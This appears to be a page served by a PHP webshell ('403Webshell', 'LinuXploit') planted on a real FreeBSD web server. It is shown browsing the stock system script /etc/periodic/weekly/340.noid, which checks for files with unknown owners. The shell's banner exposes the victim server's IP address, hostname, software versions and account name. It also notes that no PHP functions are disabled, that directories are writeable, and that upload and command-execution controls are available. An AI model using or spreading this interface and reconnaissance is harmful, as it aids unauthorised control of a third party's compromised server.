403Webshell
Server IP : 82.208.35.60  /  Your IP : 216.73.216.89
Web Server : Apache/2.4.55 (FreeBSD) OpenSSL/1.1.1q-freebsd PHP/7.3.31
System : FreeBSD server7.d2m.cz 12.4-RELEASE-p9 FreeBSD 12.4-RELEASE-p9 GENERIC amd64
User : studiokobylisy_cz ( 1008)
PHP Version : 7.3.31
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /etc/periodic/weekly/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /etc/periodic/weekly/340.noid
#!/bin/sh -
#
# $FreeBSD: releng/12.4/usr.sbin/periodic/etc/weekly/340.noid 342365 2018-12-22 10:55:40Z eugen $
#

# If there is a global system configuration file, suck it in.
#
if [ -r /etc/defaults/periodic.conf ]
then
    . /etc/defaults/periodic.conf
    source_periodic_confs
fi

case "$weekly_noid_enable" in
    [Yy][Ee][Ss])
	echo ""
	echo "Check for files with an unknown user or group:"

	# Host should not test jailed subtrees as jails have their own
	# databases of users and groups. Leave them for jailed invocations
	# of this script.

	exclude=''
	if [ $(sysctl -n security.jail.jailed) = 0 ]; then
	    # For jail_conf
	    . /etc/rc.subr
	    load_rc_config jail

	    sep=:
	    OIFS="$IFS"
	    IFS="$sep"
	    for param in $(jail -f "$jail_conf" -e "$sep" 2>/dev/null)
	    do
		case "$param" in
		    path=*)
			_p=${param#path=}
			if [ -z "$_p" -o "$_p" = / ]; then
				continue
			fi

			exclude="$exclude -path $_p -prune -or"
			;;
		esac
	    done
	    IFS="$OIFS"
	fi

	rc=$(find -H ${weekly_noid_dirs:-/} \
	    \( $exclude ! -fstype local -prune -or -name \* \) -and \
	    \( -nogroup -o -nouser \) -print | sed 's/^/  /' |
	    tee /dev/stderr | wc -l)
	[ $rc -gt 1 ] && rc=1
	;;

    *)  rc=0;;
esac

exit $rc

Youez - 2016 - github.com/yon3zu
LinuXploit